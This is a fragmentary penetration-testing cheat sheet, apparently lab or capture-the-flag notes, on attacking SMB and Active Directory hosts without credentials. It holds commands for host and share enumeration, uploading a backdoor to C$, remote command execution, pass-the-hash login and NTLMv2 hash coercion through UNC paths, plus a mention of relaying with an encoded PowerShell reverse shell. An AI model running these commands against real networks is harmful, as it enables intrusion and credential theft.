Without Credentials
Without Credentials
Host Discovery
nmap -sn 192.168.2.0/24fping -a -g 192.168.2.0/24 2>/dev/nullScan the network
# Enumerate smb hosts
cme smb IP/CIDR
# Search smb vulns
nmap -PN --script smb-vuln* -p 139,445 IPZone transfer
dig axfr domain@nameserverList guest access on smb share
Enumerate null session
smbmap -u "" -p "" -H <dc-ip>
smbmap -u "guest" -p "" -H <dc-ip>To list all drives
smbmap -H -u -p -LTo list contents of C$
smbmap -H -u -p -r 'C$'To upload files
smbmap -H -u -p --upload '/root/backdoor' 'C$\backdoor'To download files
smbmap -H -u -p --download 'C$\flag.txtTo execute commands
smbmap -H -u -p -x 'ipconfig',ma Enumerate null session
smbclient -L <ip> -N
smbclient //<ip>/public -NEnumerate with credentials
smbclient -L <ip> -U <user>
smbclient //<ip>/public -U <user>
mbclient //192.168.50.212/secrets -U <user> --pw-nt-hash <hash>Enumerate null session
Enumerate ldap
Find User List
Grab NTLMv2 hash
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
File Upload
When we discover a file upload form in a web application on a Windows server, we can try to enter a non-existing file with a UNC path like \\192.168.119.2\share\nonexistent.txt. If the web application supports uploads via SMB, the Windows server will authenticate to our SMB server.

Relaying NTLMv2
SMB Relaying
Using a powershell one liner encoded should work as reverse shell (Use Encoded powershell payload)
Last updated